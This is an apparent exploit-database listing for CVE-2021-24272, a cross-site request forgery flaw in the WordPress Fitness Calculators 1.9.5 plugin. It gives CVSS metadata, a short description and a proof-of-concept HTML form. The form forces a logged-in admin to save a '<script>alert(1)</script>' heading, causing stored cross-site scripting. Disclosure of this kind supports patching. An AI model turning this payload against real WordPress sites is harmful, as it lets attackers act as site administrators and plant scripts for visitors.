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WordPress Fitness Calculators 1.9.5 Cross Site Request Forgery

CVE Category Price Severity
CVE-2021-24272 CWE-352 $500 High
Author Risk Exploitation Type Date
Unknown High Remote 2021-09-23
CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2021090116

Below is a copy:

WordPress Fitness Calculators 1.9.5 Cross Site Request Forgery
# Exploit Title: WordPress Plugin Fitness Calculators 1.9.5 - Cross-Site Request Forgery (CSRF)
# Date: 2/28/2021
# Author: 0xB9
# Software Link: https://wordpress.org/plugins/fitness-calculators/
# Version: 1.9.5
# Tested on: Windows 10
# CVE: CVE-2021-24272

1. Description:
The plugin add calculators for Water intake, BMI calculator, protein Intake, and Body Fat and was lacking CSRF check, allowing attackers to make logged in users perform unwanted actions, such as change the calculator headers. 
Due to the lack of sanitisation, this could also lead to a Stored Cross-Site Scripting issue

2. Proof of Concept:

<form method="post" action="https://example.com/wp-admin/admin.php?page=fcp_dashboard&tab=water">
    <input type="text" value="<script>alert(1)</script>" name="fcw[fcw_heading]">
    <input type="submit" value="Save" name="submit">
</form>

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